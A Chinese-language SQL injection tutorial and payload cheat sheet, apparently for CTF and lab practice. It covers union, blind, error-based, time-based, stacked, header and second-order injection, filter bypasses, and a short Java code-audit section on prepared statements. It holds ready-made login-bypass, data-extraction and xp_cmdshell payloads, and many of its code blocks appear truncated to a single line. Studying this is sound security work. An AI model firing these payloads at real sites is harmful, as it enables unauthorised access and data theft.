MySQL注入
SQL相关基础
information_schema数据库三张表
information_schema.schemata
该数据表存储了mysql数据库中的所有数据库的库名
information_schema.tables
该数据表存储了mysql数据库中的所有数据表的表名
information_schema.columns
该数据表存储了mysql数据库中的所有列的列名
常用函数
系统函数
函数 | 释义 |
---|---|
user() | 当前数据库用户 |
database() | 当前数据库名 |
version() | MySQL版本 |
@@datadir | 数据库存储数据路径 |
@@version_compile_os | 操作系统版本 |
字符串连接函数
函数 | 释义 |
---|---|
concat(str1,str2,…) | 联合数据,用于联合两条数据结果。如 concat(username,0x3a,password) |
group_concat(str1,str2,…) | group_concat(DISTINCT+user,0x3a,password),把多条数据一次注入出 |
concat_ws(separator,str1,str2,…) | 含有分隔符地连接字符串 |
三个函数能一次性查出所有信息
其他函数
hex() & unhex() | 用于 hex 编码解码 |
---|---|
ascii(str) | 返回给定字符的ascii值,如果str是空字符串,返回0 |
length(str) | 返回给定字符串的长度,如 length(“string”)=6 |
substr(string,start,length) | 对于给定字符串string,从start位开始截取,截取length长度 |
load_file() | 以文本方式读取文件,在 Windows 中,路径设置为 \ |
substr()、substring()、mid() | 三个函数的用法、功能均一致 |
select xxoo into outfile ‘路径’ | 权限较高时可直接写文件 例:into outfile where ‘/var/www/html/xxx.txt’ – A |
CHAR() | 把整数转换为对应的字符 |
to_base64(username) | 对数据进行base64 |
一般用于尝试的语句
1 | or 1=1--+ |
union语法
UNION 操作符用于合并两个或多个 SELECT 语句的结果集。请注意,UNION 内部的 SELECT语句必须拥有相同数量的列。列也必须拥有相似的数据类型。同时,每条 SELECT 语句中的列的顺序必须相同。
1 | SELECT column_name(s) FROM table_name1 |
默认地,UNION 操作符选取不同的值。如果允许重复的值,请使用
UNION ALL
。
Mysql中注释
单行注释:#
& -
多行注释,可以实现行内注释
1 | /*注释内容*/ |
/* */
这种注释方式还有一种扩展,即当在注释中使用!加上版本号时,只要mysql的当前版本等于或大于该版本号,则该注释中的sql语句将被mysql执行。这种方式只适用于mysql数据库。不具有其他数据库的可移植性。
1 | ?id=-1%27/**//*!12440UNION*//**//*!12440SELECT*/1111,2222,3333%23 HTTP/1.1 |
MySql逻辑运算
1 | username=’admin’ and password=’’or 1=1 |
and 的运算优先级大于 or 的元算优先级,false or true 结果永真
位运算
1 | Select * from users where id=1 & 1=1; |
id=1 条件与 1 进行&位操作,id=1 被当作 true,与 1 进行 & 运算 结果还是 1,再进行=操作,1=1,还是 1
&的优先级大于=
手工注入
后台万能密码
输入点在用户名
1 | admin' -- |
输入点在密码
1 | 1'or'1'='1 |
union注入
常规流程
schema_name –> schemata
table_name –> tables
column_name –> columns
1 | 判断当前表的字段数量 |
union_py
1 | import requests |
Boolean盲注
常用函数
left(a)=b
sql的left()函数如果式子成立返回1如果不成立返回 0
1 | select left(database(),1)='s'; |
mid(s,n,len)
1 | 1' or ((ascii(mid((select schema_name from information_schema.schemata limit 0,1),1,1)))>65)--+ |
注:从字符串 s 的 n 位置截取长度为 len 的子字符串,同 SUBSTRING(s,n,len)。注意字符串从1开始,而非0,Length是可选项,如果没有提供,
MID()
函数将返回余下的字符串。
构造MySQL报错即可配合if
函数进行盲注
1 | select if((substr(user(),1,1)='r'),1,power(9999,99)) # 当字符相等时,不报错,错误时报错 |
判断当前数据库名
1 | 判断数据库长度 |
以上方法不适用于access和SQL Server数据库
判断当前数据库中的表
1 | 猜测当前数据库是否存在xxxxx表 |
判断表中的字段
1 | 如果已经证实了存在admin表,那么猜测是否存在username字段 |
判断字段中的数据
1 | 判断数据的长度 |
报错注入(过滤空格)
select/insert/update/delete
都可以使用报错来获取信息。
ExtractValue报错注入
MYSQL对XML文档数据进行查询和修改的XPATH函数
参数
EXTRACTVALUE (XML_document, XPath_string)
第一个参数:XML_document
是 String 格式,为 XML 文档对象的名称.
第二个参数:XPath_string
(Xpath 格式的字符串).
作用:从目标 XML 中返回包含所查询值的字符串.
注意: 返回结果 限制在32位字符.格式
1 | and extractvalue(1,concat(0x7e,user(),0x7e)) |
UpdateXml报错注入
MYSQL对XML文档数据进行查询和修改的XPATH函数
参数
UPDATEXML (XML_document, XPath_string, new_value)
第一个参数:XML_document
是 String 格式,为 XML 文档对象的名称,文中为 Doc 1
第二个参数:XPath_string
(Xpath 格式的字符串)
第三个参数:new_value
,String 格式,替换查找到的符合条件的数据
格式
1 | and updatexml(1,version,0)# |
Floor报错注入
MYSQL中用来取整的函数
参数
FLOOR(x)
返回小于或等于 x 的最大整数(向下取整)
格式
1 | and (select 2 from (select count(*),concat(version(),floor(rand(0)*2))x from information_schema.tables group by x)a) |
1 | union select count(*),concat_ws('-',(select user()),(select database()),floor(rand()*2)) as a from information_schema.tables group by a--+ |
insert update delete注入的利用
判断方式
- 数据包括
'
或者\
时,数据无法插入,则80%是注入,20%是被拦截规则拦截掉了 - 带入数据库的字符串是用
'
包裹的,测试数据中带有"
,如果能插入数据则90%是注入("
不影响数据库执行的sql语句的闭合。往数据库里面插入双引号会变成单引号)。 - 数据中包含
\'
如果能插入数据,则 100% 证明存在注入 - 如果是数字参数,插入
sleep(5)
进行判断_name=te1st&_number=-1' and sleep(5)or'1&_owner=Olivia
环境代码
1 | # sqltest.php |
基于insert下的报错,其他同理:
1 | or updatexml(1,concat(0x7e,user(),0x7e),1) or ' |
这里相当于在闭合引号也可以写成
owner=Olivia' or updatexml(1,concat(0x7e,user(),0x7e),1) or '1
猜测增删改列的个数 ,利用成功执行注入
基于insert下的select:
时间盲注
时间注入利用sleep()
和benchmark()
等函数让sql语句执行时间更长
判断是否存在时间盲注
1 | and sleep(5) |
sleep函数判断页面响应时间
1 | #if(判断条件,为true时执行,为false时执行) |
payload a
(select * from (select user())a)
1、先查询 select user() 这里面的语句,将这里面查询出来的数据作为一个结果集 取名为 a
2、然后 再 select * from a 查询a ,将 结果集a 全部查询出来
1 | (select * from (select sleep(2))a) |
堆叠注入
union注入和堆叠注入的区别
union
或者union all
执行的语句类型是有限的,可以用来执行查询语句,且在 MySQL 中返回的列数需要相等;而堆叠注入可以执行的是任意的语句。
局限性
堆叠注入并不是在每一个环境下都可以执行,可能受到 API 或者数据库引擎不支持的限制,同时权限不足也会使攻击者无法修改数据或者调用一些程序。
虽然前面提到了堆叠查询可以执行任意的 SQL 语句,但是这种注入方式并不是十分完美。在我们的 Web 系统中,代码通常只返回一个查询结果,因此堆叠注入第二个语句产生错误或者结果只能被忽略,我们在前端界面无法看到返回结果。
因此在读取数据时,建议使用union
注入。同时在使用堆叠注入之前,我们也需要知道一些数据库相关信息如表名,列名等。
数据库实例
下面介绍几个常用数据库的堆叠操作:基本操作与增删查改。
MySQL
- 新建表
test
select * from users where id=1;create table test like users;
- 删除新建表
test
select * from users where id=1;drop table test;
- 查询数据
select * from users where id=1;select 1,2,3;
- 加载文件
select * from users where id=1;select load_file('d:/test.php');
- 修改数据
select * from users where id=1;insert into users(id,username,password) values('100','name','pswd');
load_file()函数
- 读取文件并返回文件内容为字符串。
- 要使用此函数,文件必须位于服务器主机上,必须指定完整路径的文件,而且必须有FILE权限;该文件所有字节可读,但文件内容必须小于
max_allowed_packet
- 如果该文件不存在或无法读取,因为前面的条件之一不满足,函数返回
NULL
注意:这里还是有数据导入导出权限的问题。
secure-file-priv字段 : secure-file-priv
参数是用来限制LOAD DATA, SELECT ... OUTFILE, and LOAD_FILE()
传到哪个指定目录的。
1 | show variables like '%secure%' |
ure_file_priv
的值为null
,表示限制mysqld 不允许导入|导出- 当
secure_file_priv
的值为/tmp/
,表示限制mysqld 的导入|导出只能发生在/tmp/
目录下 - 当
secure_file_priv
的值没有具体值时,表示不对mysqld 的导入|导出做限制
默认的为NULL。即不允许导入导出。
修改mysql.ini 文件,在[mysqld] 下加入
secure_file_priv =
保存,重启mysql。
再次执行
在navicat中执行就会是这样的,要换做命令行执行
注意:在 MySQL 中,需要注意路径转义的问题,即用/
或\\
分隔。
这里有修改系统变量的几种方法,可以考虑注入时涉及文件操作时先修改权限。
SQL Server
- 新建表
select * from test;create table test2(ss CHAR(8));
- 删除新建表
select * from test;drop table test2;
- 查询数据
select * from test;select 1,2,3;
- 修改数据
select * from test;update test set name='name' where id=1;
- SQL Server中最为重要的存储过程的执行
select * from test where id=1;exec master..xp_cmdshell 'ipconfig'
Oracle
Oracle 不能使用堆叠注入,可以从图中看到,当有两条语句在同一行时,直接报错无效字符。
Postgresql
- 新建表
select * from user_test;create table user_data(id DATE);
- 删除新建表
select * from user_test;delete from user_data;
- 查询数据
select * from user_test;select 1,2,3;
- 修改数据
select * from user_test;update user_test set name='new' where name='name';
注入过程
堆叠注入需要依靠前文所写的各种注入方式来获取数据库的信息,在这里只演示如何插入新的数据。
1 | `http://localhost:8088/sqlilabs/Less-38/?id=1';insert into users(id,username,password) values(38,'Less38','Less38')--+` |
特殊注入点
Http Header注入
后台开发人员为了验证客户端头信息(比如常用的cookie验证)或者通过http header
头信息获取客户端的一些信息,比如useragent
,accept
字段等等。
会对客户端的http header
信息进行获取并使用SQL进行处理,如果此时没有足够的安全考虑则可能会导致基于http header
的SQL注入漏洞。
错误_POST_User-Agent_请求头注入
' or updatexml(1 , concat('#',(database())),0) , '','') #
注意:这里并不是URL而是HTTP头,所以+
并不会被转义为(空格),于是末尾的注释符号要变为#
错误_POST_Referer_请求头注入
' or updatexml(1,concat('#', (database())),0), 0)#
二次注入(存储型注入)
导致 SQL 注入的字符先存入到数据库中,当再次调用这个恶意构造的字符时,就可以触发 SQL 注入
二次注入的一般过程:
- 通过构造数据的形式,在浏览器或者其他软件中提交 HTTP 数据报文请求到服务端进行处理,提交的数据报文请求中可能包含了构造的 SQL 语句或者命令。
- 服务端应用程序会将提交的数据信息进行存储,通常是保存在数据库中,保存的数据信息的主要作用是为应用程序执行其他功能提供原始输入数据并对客户端请求做出响应。
- 向服务端发送第二个与第一次不相同的请求数据信息。
- 服务端接收到提交的第二个请求信息后,为了处理该请求,服务端会查询数据库中已经存储的数据信息并处理,从而导致在第一次请求中构造的 SQL 语句或者命令在服务端环境中执行。
- 服务端返回执行的处理结果数据信息,便可以通过返回的结果数据信息判断二次注入漏洞利用是否成功。
当登录界面对username和password都做了过滤
1 | $username = mysql_real_escape_string($_POST["login_user"]); |
当注入点在修改密码处:
1 | UPDATE users SET PASSWORD='$pass' WHERE username='$username' and password='$curr_pass' |
将其改变为:
1 | UPDATE users SET PASSWORD='$pass' WHERE username='$username'-- and password='$curr_pass' |
且已知注册时未有任何过滤,闭合查询语句为单引号,即在注册用户时构造admin'--
(有空格)或admin'#
。
过滤和应对手段
https://dev.mysql.com/doc/refman/5.7/en/
过滤空格
注释/**/
反引号(`)
换行%0b
,%0a
,%0c
,%09
代替 TAB 键(php 可用)
1 | 1'union%0aselect/**/1,group_concat(password),3/**/from`ctfshow_user`%23 |
没过滤()
1 | function waf($str){ |
利用and的优先级比or大
1 | 'or(username='flag')and'1'='1 |
制定输入内容过滤(存在xxx不显示)
like®exp
1 | username like'%fla% |
where
1 | $sql = "select count(pass) from ".$_POST['tableName'].";"; |
单双引号过滤(Hexadecimal)
group by having
1 | tableName=ctfshow_user group by pass having pass regexp(0x63746673686f777b) |
代码审计
java
JDBC
Statement
1 | // 采用原始的Statement拼接语句,导致漏洞产生 |
PrepareStatement
1 | // PrepareStatement会对SQL语句进行预编译,但有时开发者为了便利,直接采取拼接的方式构造SQL,此时进行预编译也无用。 |
安全代码
过滤关键字符
1 | // 采用黑名单过滤危险字符,同时也容易误伤(次方案) |
预编译
1 | // 正确的使用PrepareStatement可以有效避免SQL注入,使用?作为占位符,进行参数化查询 |
ESAPI安全框架
1 | // ESAPI (OWASP企业安全应用程序接口)是一个免费、开源的、网页应用程序安全控件库,它使程序员能够更容易写出更低风险的程序 |